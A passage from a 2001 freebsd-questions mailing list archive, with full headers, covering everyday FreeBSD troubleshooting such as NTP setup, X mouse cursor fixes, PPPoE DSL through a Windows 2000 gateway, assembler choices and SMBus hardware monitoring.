was wondering about WordPerfect 8.0, it doesn't seem to be available anymore (ports, download site). I know that Corel Corel gave up in the linux business, but does that concern WordPerfect too? Just wondering.. regards -- Andreas "ant" Ntaflos ntaflos.andreas@gmx.net Vienna, AUSTRIA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 6:30:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from winnt.use.ch (client62-2-92-231.hispeed.ch [62.2.92.231]) by hub.freebsd.org (Postfix) with ESMTP id EA98937B417 for ; Sun, 18 Nov 2001 06:30:41 -0800 (PST) Subject: Re: ntpd / time server confusion To: "P. U. (Uli) Kruppa" Cc: "freebsd-questions@FreeBSD.ORG" X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: FreeBSD@hm.homeip.net Date: Sun, 18 Nov 2001 15:30:37 +0100 X-MIMETrack: Serialize by Router on winnt/Privat(Release 5.0.8 |June 18, 2001) at 18.11.2001 15:30:42 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Uli, a very simple ntp.conf could look like this: #ntp.conf server 129.132.2.21 That is the timeserver swisstime.ethz.ch (which I use). Then start the ntpd with ntpd -c /etc/ntp.conf (assuming you created the file there). Work fine for me. - Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 6:59:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by hub.freebsd.org (Postfix) with ESMTP id 3103137B405 for ; Sun, 18 Nov 2001 06:59:39 -0800 (PST) Received: from user-11210qt.dsl.mindspring.com ([66.32.131.93] helo=kushkush) by pintail.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 165TPw-00054W-00; Sun, 18 Nov 2001 06:59:32 -0800 Message-ID: <020e01c17041$efabbf80$7000a8c0@kushkush> From: "Bara Zani" To: "budsz" , References: <20011118185630.A2007@bdg.centrin.net.id> Subject: Re: How about this? Date: Sun, 18 Nov 2001 10:01:32 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG my freebsd comes with 32 maxusers in GENERIC .... i think ... ----- Original Message ----- From: "budsz" To: Sent: Sunday, November 18, 2001 6:56 AM Subject: How about this? > Hi, How your opinion bout this test..? > > > http://www.byte.com/documents/s=1794/byt20011107s0001/1112_moshe.html > > TIA > > -- > budsz > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 7: 0:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chaos.evolve.za.net (chaos.evolve.za.net [196.34.172.107]) by hub.freebsd.org (Postfix) with ESMTP id 4252837B418 for ; Sun, 18 Nov 2001 07:00:37 -0800 (PST) Received: from DAVE ([192.168.0.53]) by chaos.evolve.za.net (8.11.6/1.1.3) with SMTP id fAIF0UZ18981 for ; Sun, 18 Nov 2001 17:00:31 +0200 (SAST) (envelope-from dave@raven.za.net) Message-ID: <000501c17042$12708140$3500a8c0@DAVE> From: "Dave Raven" To: Subject: SSHD Date: Sun, 18 Nov 2001 17:02:40 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG My sockstat showed me this: root sshd 18313 6 tcp4 *:6011 *:* any idea's why ssh would be listening on that port? Thanks ----> Dave Raven dave@reason.za.net <--- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 7: 3:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kitkat.hotpop.com (kitkat.hotpop.com [204.57.55.30]) by hub.freebsd.org (Postfix) with ESMTP id 6A8DA37B405 for ; Sun, 18 Nov 2001 07:03:54 -0800 (PST) Received: from hotpop.com (unknown [204.57.55.31]) by kitkat.hotpop.com (Postfix) with SMTP id D1AE3300B4 for ; Sun, 18 Nov 2001 15:03:50 +0000 (UTC) Received: from pavilion (mcns176.docsis66.singa.pore.net [202.156.66.176]) by zagnut.hotpop.com (Postfix) with SMTP id 1EFC45002F for ; Sun, 18 Nov 2001 15:03:48 +0000 (UTC) Message-ID: <001901c17042$398b7dc0$b0429cca@pavilion> From: "pingcrisis.com\\Ting Ping\\" To: Subject: How to mirror site in freebsd Date: Sun, 18 Nov 2001 23:03:45 +0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0016_01C17085.4630A940" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0016_01C17085.4630A940 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hello, i have got this problem when trying to mirror some sites. The links in = the page doesnt seem to work with my freebsd environment. For example, index.html contains this link called "links" but when i try = to access it through my browser, it doesnt work as it points to a wrong = directory/file. May i know, is there any way i could solve this problem? QOTD: Knowledge is power, United we stand, divided we fall Best regard, Lim Ting Ping http://www.pingcrisis.com ------=_NextPart_000_0016_01C17085.4630A940 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
hello,
i have got this problem when trying to mirror some = sites. The=20 links in the page doesnt seem to work with my freebsd = environment.
 
For example, index.html contains this link called = "links" but=20 when i try to access it through my browser, it doesnt work as it points = to a=20 wrong directory/file.
 
May i know, is there any way i could solve this=20 problem?
 
QOTD: Knowledge is power, United we stand, divided = we=20 fall
Best regard,
Lim Ting Ping
http://www.pingcrisis.com ------=_NextPart_000_0016_01C17085.4630A940-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 7:11:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from services.webwarrior.net (overlord-host99.dsl.visi.com [209.98.86.99]) by hub.freebsd.org (Postfix) with ESMTP id 6E8EB37B405 for ; Sun, 18 Nov 2001 07:11:40 -0800 (PST) Received: from twincat.vladsempire.net (unknown [209.105.45.24]) by services.webwarrior.net (Postfix) with ESMTP id AF48B1F0 for ; Sun, 18 Nov 2001 09:12:09 -0600 (CST) Received: by twincat.vladsempire.net (Postfix, from userid 1001) id 6DFC53A40; Sun, 18 Nov 2001 09:07:30 +0000 (GMT) Date: Sun, 18 Nov 2001 09:07:30 +0000 From: Josh Paetzel To: "Gary W. Swearingen" Cc: fredstah , freebsd-questions@FreeBSD.ORG Subject: Re: are there drivers for NVIDIA cards that have hardware acceleration? Message-ID: <20011118090730.A450@twincat.vladsempire.net> Mail-Followup-To: "Gary W. Swearingen" , fredstah , freebsd-questions@FreeBSD.ORG References: <3BF6586B.6010003@web.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from swear@blarg.net on Sat, Nov 17, 2001 at 08:13:02PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 17, 2001 at 08:13:02PM -0800, Gary W. Swearingen wrote: > I suspect that http://daily.daemonnews.org/view_story.php3?story_id=2532 > is relevant to this question. It starts out: > > I just ported the Linux NVidia kernel module in the last week to > FreeBSD-STABLE. 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[209.107.106.139] by web20407.mail.yahoo.com via HTTP; Sun, 18 Nov 2001 07:42:16 PST Date: Sun, 18 Nov 2001 07:42:16 -0800 (PST) From: Steve Austin Subject: Re: still having mouse problems on FBSD 4.4 release To: Ian Dowse Cc: freebsd-questions@freebsd.org In-Reply-To: <200111181211.aa62564@salmon.maths.tcd.ie> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ian, The sw_cursor option addition took care of the problem! I can now see the pointer!! Thanks a bundle :-) --- Ian Dowse wrote: > In message > <20011118042457.18116.qmail@web20408.mail.yahoo.com>, > Steve Austin w > rites: > >When I run startx, and enter into the window > manager > >(Gnome, Windowmaker, fvwm - I've tried all of these > so > >I don't think it is a window manager problem) no > mouse > >pointer shows up on the screen, yet I can move the > >mouse about and icons and windows will become > >highlighted. I can click on the icons and get > > This sounds like your video card isn't fully > supported by X; marginal > support can explain a large selection of weird > effects like this. > > If the X driver you are using supports the > "sw_cursor" option, it > will probably work around this problem. Look for a > section in > /etc/XF86Config beginning with > > Section "Device" > > (there may be many, so some trial and error possibly > required), and > within that section, add: > > Option "sw_cursor" > > Details about other driver options may be found in > /usr/X11R6/lib/X11/doc/. > > Another option would be to try installing XFree86 > v4.X as a package > from the CD - there is probably some documentation > somewhere > describing what's involved in switching from XFree > 3.3.X to 4.X. > > Ian __________________________________________________ Do You Yahoo!? Find the one for you at Yahoo! Personals http://personals.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 7:49:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts15-srv.bellnexxia.net (tomts15.bellnexxia.net [209.226.175.3]) by hub.freebsd.org (Postfix) with ESMTP id 8D30437B405 for ; Sun, 18 Nov 2001 07:49:15 -0800 (PST) Received: from xena.gsicomp.on.ca ([199.243.144.157]) by tomts15-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011118154910.QNBH14865.tomts15-srv.bellnexxia.net@xena.gsicomp.on.ca>; Sun, 18 Nov 2001 10:49:10 -0500 Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.11.1) with SMTP id fAIFevW27635; Sun, 18 Nov 2001 10:40:57 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <053201c17048$8fd2aef0$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: , References: <3.0.5.32.20011117220014.00f8efc0@mail.sage-american.com> <3.0.5.32.20011118074636.00f91eb8@mail.sage-american.com> Subject: Re: More PPPoE DSL Date: Sun, 18 Nov 2001 10:49:08 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Matt: Yes, I read Renaud's paper about that bug which had me thinking in > that direction. However, the settings in the registry of the Win2K machines > are okay being set at the 1492 mtu already. > > What is driving me bonkers is that everthing was working fine for the first > 8 days on DSL connection. After an electrical storm caused the Win2K > gateway's OS to become unstable, I decided to re-install everything since > it had been running the Win2 OS for almost 2 years. That's most likely the source of your problem. I don't know what you're using for NAT on your W2K box, but I've done installations of W2K where LAN activities worked fine on one box and not on another, with the exact same install process. Personally, I would focus your efforts on getting PPPoE working on one of your FreeBSD machines. It's a lot easier to tell what's going on using FreeBSD (thanks to copious amounts of logging) than Win2K. -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 7:56:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id 5DEFA37B417 for ; Sun, 18 Nov 2001 07:56:29 -0800 (PST) Received: from SAGEONE (adsl-208-191-227-85.dsl.crchtx.swbell.net [208.191.227.85]) by sage-american.com (8.9.3/8.9.3) with SMTP id JAA22027; Sun, 18 Nov 2001 09:56:25 -0600 (CST) Message-Id: <3.0.5.32.20011118095632.00f91eb8@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sun, 18 Nov 2001 09:56:32 -0600 To: "Matthew Emmerton" , From: jacks@sage-american.com Subject: Re: More PPPoE DSL In-Reply-To: <053201c17048$8fd2aef0$1200a8c0@gsicomp.on.ca> References: <3.0.5.32.20011117220014.00f8efc0@mail.sage-american.com> <3.0.5.32.20011118074636.00f91eb8@mail.sage-american.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ...yes, exactly why when time permits, I will go back to configuring the PPPoE for the FreeBSD for all the reasons you mention, plus other benefits. I've tried the DSL setup on several Win2K machines with same "bugs" as a result... too bad, it was working so well. Just wondered if anyone else experienced this with Win2K as a gateway to the BSD. At 10:49 AM 11.18.2001 -0500, Matthew Emmerton wrote: >> Matt: Yes, I read Renaud's paper about that bug which had me thinking in >> that direction. However, the settings in the registry of the Win2K >machines >> are okay being set at the 1492 mtu already. >> >> What is driving me bonkers is that everthing was working fine for the >first >> 8 days on DSL connection. After an electrical storm caused the Win2K >> gateway's OS to become unstable, I decided to re-install everything since >> it had been running the Win2 OS for almost 2 years. > >That's most likely the source of your problem. I don't know what you're >using for NAT on your W2K box, but I've done installations of W2K where LAN >activities worked fine on one box and not on another, with the exact same >install process. > >Personally, I would focus your efforts on getting PPPoE working on one of >your FreeBSD machines. It's a lot easier to tell what's going on using >FreeBSD (thanks to copious amounts of logging) than Win2K. > >-- >Matt Emmerton > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 8: 1:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts7-srv.bellnexxia.net (tomts7.bellnexxia.net [209.226.175.40]) by hub.freebsd.org (Postfix) with ESMTP id 5DB4B37B417 for ; Sun, 18 Nov 2001 08:01:15 -0800 (PST) Received: from xena.gsicomp.on.ca ([199.243.144.157]) by tomts7-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011118160114.YHCM9080.tomts7-srv.bellnexxia.net@xena.gsicomp.on.ca>; Sun, 18 Nov 2001 11:01:14 -0500 Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.11.1) with SMTP id fAIFr2W27678; Sun, 18 Nov 2001 10:53:02 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <055601c1704a$3f48f000$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: , References: <3.0.5.32.20011117220014.00f8efc0@mail.sage-american.com> <3.0.5.32.20011118074636.00f91eb8@mail.sage-american.com> <3.0.5.32.20011118095632.00f91eb8@mail.sage-american.com> Subject: Re: More PPPoE DSL Date: Sun, 18 Nov 2001 11:01:12 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > ...yes, exactly why when time permits, I will go back to configuring the > PPPoE for the FreeBSD for all the reasons you mention, plus other benefits. > I've tried the DSL setup on several Win2K machines with same "bugs" as a > result... too bad, it was working so well. > > Just wondered if anyone else experienced this with Win2K as a gateway to > the BSD. What software are you using on the Win2K machines to share the internet connection? -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 8: 3: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id E619437B405 for ; Sun, 18 Nov 2001 08:02:57 -0800 (PST) Received: from hades.hell.gr (patr530-a114.otenet.gr [212.205.215.114]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAIG2qv26036; Sun, 18 Nov 2001 18:02:53 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAIG2ru01485; Sun, 18 Nov 2001 18:02:53 +0200 (EET) (envelope-from charon@labs.gr) Date: Sun, 18 Nov 2001 18:02:51 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Windows/DOS .OBJ files to FreeBSD objects? Message-ID: <20011118160251.GA468@hades.hell.gr> References: <031801c16fb3$dbe19df0$0a00000a@atkielski.com> <20011118033947.GD28425@hades.hell.gr> <03a201c1702e$44eb1c70$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <03a201c1702e$44eb1c70$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-18 13:40:50, Anthony Atkielski wrote: > Giorgos writes: > > > Does a86 even work on FreeBSD? The homepage > > seems to suggest that it's a program written > > for DOS and/or Windows. > > Correct. That's why I am wondering if there are any utilities that can change a > Windows/DOS OBJ file to a FreeBSD object file, so that I can assemble modules > under Windows or DOS, and then move the objects to a FreeBSD system (after some > sort of conversion) and link them there. I'm not sure if a conversion can be done *after* the file has been assembled to .OBJ. > > b) Use some other assembler, that is freely > > available under FreeBSD. > > What other assemblers can you recommend? A86 has the advantage of truly > extraordinary simplicity, unlike MASM and most other overcomplicated macro > assemblers. If you like using Intel's syntax (the one used by MASM and TASM in DOS/Windows) then you might like `nasm' which is available both for Windows and FreeBSD. It can save its output in .OBJ and ELF .o files, so you will probably find it useful. If you tend to write mostly C, with a few asm lines that you want to link to your code, GCC's inline assembly or GNU as(1) [both available on a stock FreeBSD installation] will probably suit you fine :) -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 8: 4:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail2.panix.com (mail2.panix.com [166.84.0.213]) by hub.freebsd.org (Postfix) with ESMTP id 3C02137B417 for ; Sun, 18 Nov 2001 08:04:48 -0800 (PST) Received: from panix1.panix.com (panix1.panix.com [166.84.1.1]) by mail2.panix.com (Postfix) with ESMTP id 58E468F09 for ; Sun, 18 Nov 2001 11:04:47 -0500 (EST) Received: (from stanb@localhost) by panix1.panix.com (8.11.3nb1/8.8.8/PanixN1.0) id fAIG4l203484 for freebsd-questions@freebsd.org; Sun, 18 Nov 2001 11:04:47 -0500 (EST) Message-Id: <200111181604.fAIG4l203484@panix1.panix.com> Subject: gramofile To: freebsd-questions@freebsd.org (Free BSD Questions list) Date: Sun, 18 Nov 2001 11:04:47 -0500 (EST) From: "Stan Brown" X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I need to digitize a bunch of analog music. The mmost convinent machine to do this on is my laptop, which of course is a FreebSD STABLE machine. I have been playing around with this, and have found a tool called garmofile http://panic.et.tudelft.nl/~costar/gramofile Has anyone tried to fet this working on FreeBSD? If som did you succedd? What were the tricks, if any? -- "They that would give up essential liberty for temporary safety deserve neither liberty nor safety." -- Benjamin Franklin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 8:20:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kechara.flame.org (kechara-p.flame.org [204.152.186.129]) by hub.freebsd.org (Postfix) with SMTP id 728F237B405 for ; Sun, 18 Nov 2001 08:20:13 -0800 (PST) Received: (qmail 7403 invoked by uid 235); 18 Nov 2001 16:20:13 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 18 Nov 2001 16:20:13 -0000 Date: Sun, 18 Nov 2001 08:20:13 -0800 (PST) From: Andreas Berg To: freebsd-questions@freebsd.org Subject: Problems with Hardware Monitoring Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greetings, I'm trying to get Hardware Monitoring to work on my FreeBSD system but even when I follow instructions, it wont work. The utilities I'm trying to get to work are: consolehm-1.31_1 Console based hardware monitor for FreeBSD /usr/ports/sysutils/consolehm wmhm-1.45_1 WindowMaker dockable hardware monitor for FreeBSD /usr/ports/sysutils/wmhm wmlmmon-0.60 WM dock app to display info from MB power management contro /usr/ports/sysutils/wmlmmon The problems I get are: root@voyager:~> chm Failed to open /dev/smb0. root@voyager:~> wmhm Failed to open /dev/smb0. Possible reasons: - Your kernel does not support SMBUS. - You are not running wmhm suid root. - WMHM is already running. root@voyager:~> wmlmmon Failed to open device /dev/smb0. If your system does not support intpm(4), try to use /dev/io (-i flag) or check the permissions of /dev/smb0. According to man files I need the following in my kernel: controller smbus0 controller iicbus0 controller iicbb0 controller intpm0 device smb0 at smbus? Since I use FreeBSD 4.4, the above no longer exists in the kernel config, so, I've got these instead (some of them are probably not needed, but I added more and more to see if they where needed but with all these enabled, it still wouldn't work.) # SMB bus device smbus device intpm device alpm device ichsmb device smb # I2C Bus device iicbus device iicbb device ic device iic device iicsmb options HW_WDOG My motherboard is a Epox EP-7KXA and its got a VIA Apollo KX133 chipset. (Perhaps the Via chipsets are not supported at this time?) I've also tried to remove and recreate /dev/smb0 but nothing helps, still the same error. Any suggestions? Does anyone successfully monitor a VIA based board? cheers, Andy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 8:21: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id 7096037B416 for ; Sun, 18 Nov 2001 08:20:58 -0800 (PST) Received: from SAGEONE (adsl-208-191-227-85.dsl.crchtx.swbell.net [208.191.227.85]) by sage-american.com (8.9.3/8.9.3) with SMTP id KAA25409; Sun, 18 Nov 2001 10:20:53 -0600 (CST) Message-Id: <3.0.5.32.20011118102059.00f91eb8@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sun, 18 Nov 2001 10:20:59 -0600 To: "Matthew Emmerton" , From: jacks@sage-american.com Subject: Re: More PPPoE DSL In-Reply-To: <055601c1704a$3f48f000$1200a8c0@gsicomp.on.ca> References: <3.0.5.32.20011117220014.00f8efc0@mail.sage-american.com> <3.0.5.32.20011118074636.00f91eb8@mail.sage-american.com> <3.0.5.32.20011118095632.00f91eb8@mail.sage-american.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The ICS LAN setup that came with Win2K: "Network and Dial-up Connections\LAN" with the gateway set to 192.168.0.1 I've tried assigning fixed IPs to each Win2K machine as well as "obtain IP automatically" for the networked machines. With the ISDN setup, everthing works 100% either way. With the DSL, I have the two nagging problems.... All machines can ping each other just fine. With the BSDs, the /etc/hosts define the addresses as static for each machine on the LAN. The BSDs' find the gateway machine fine and is identified as 192.168.0.1 and /etc/resolv.conf sees it as the nameserver too. At 11:01 AM 11.18.2001 -0500, Matthew Emmerton wrote: > > >> ...yes, exactly why when time permits, I will go back to configuring the >> PPPoE for the FreeBSD for all the reasons you mention, plus other >benefits. >> I've tried the DSL setup on several Win2K machines with same "bugs" as a >> result... too bad, it was working so well. >> >> Just wondered if anyone else experienced this with Win2K as a gateway to >> the BSD. > >What software are you using on the Win2K machines to share the internet >connection? > >-- >Matt Emmerton > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 8:22: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139]) by hub.freebsd.org (Postfix) with ESMTP id BD40C37B405 for ; Sun, 18 Nov 2001 08:21:54 -0800 (PST) Received: from custcom (osprey.xs4all.nl [213.84.100.228]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with SMTP id fAIGLhST056033; Sun, 18 Nov 2001 17:21:43 +0100 (CET) Message-ID: <000801c1704d$d5e79040$9600000a@custcom> From: "R. Hartman" To: "Giorgos Keramidas" , "Anthony Atkielski" Cc: "FreeBSD Questions" References: <031801c16fb3$dbe19df0$0a00000a@atkielski.com> <20011118033947.GD28425@hades.hell.gr> <03a201c1702e$44eb1c70$0a00000a@atkielski.com> <20011118160251.GA468@hades.hell.gr> Subject: Re: Windows/DOS .OBJ files to FreeBSD objects? Date: Sun, 18 Nov 2001 17:26:46 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Have a look at NASM. It's free and very complete. Currently still in = beta version 0.98 if I'm correct. It produces object files for several = platforms including DOS object file and ELF. As running NASM with the -hf option lists : >> valid output formats for -f are (`*' denotes default): * bin flat-form binary files (e.g. DOS .COM, .SYS) obj MS-DOS 16-bit/32-bit OMF object files rdf Relocatable Dynamic Object File Format v1.1 << You'll find the relevant links and more at: http://www.programmersheaven.com/zone5/ http://www.programmersheaven.com/zone5/cat25/index.htm Which I came across only recently. Hope this helps. Regards, Ronald ----- Original Message -----=20 From: "Giorgos Keramidas" To: "Anthony Atkielski" Cc: "FreeBSD Questions" Sent: Sunday, November 18, 2001 17:02 Subject: Re: Windows/DOS .OBJ files to FreeBSD objects? > On 2001-11-18 13:40:50, Anthony Atkielski wrote: > > Giorgos writes: > > > > > Does a86 even work on FreeBSD? The homepage > > > seems to suggest that it's a program written > > > for DOS and/or Windows. > > > > Correct. That's why I am wondering if there are any utilities that = can change a > > Windows/DOS OBJ file to a FreeBSD object file, so that I can = assemble modules > > under Windows or DOS, and then move the objects to a FreeBSD system = (after some > > sort of conversion) and link them there. >=20 > I'm not sure if a conversion can be done *after* the file has been > assembled to .OBJ. >=20 > > > b) Use some other assembler, that is freely > > > available under FreeBSD. > > > > What other assemblers can you recommend? A86 has the advantage of = truly > > extraordinary simplicity, unlike MASM and most other overcomplicated = macro > > assemblers. >=20 > If you like using Intel's syntax (the one used by MASM and TASM in > DOS/Windows) then you might like `nasm' which is available both for > Windows and FreeBSD. It can save its output in .OBJ and ELF .o files, > so you will probably find it useful. >=20 > If you tend to write mostly C, with a few asm lines that you want to > link to your code, GCC's inline assembly or GNU as(1) [both available > on a stock FreeBSD installation] will probably suit you fine :) >=20 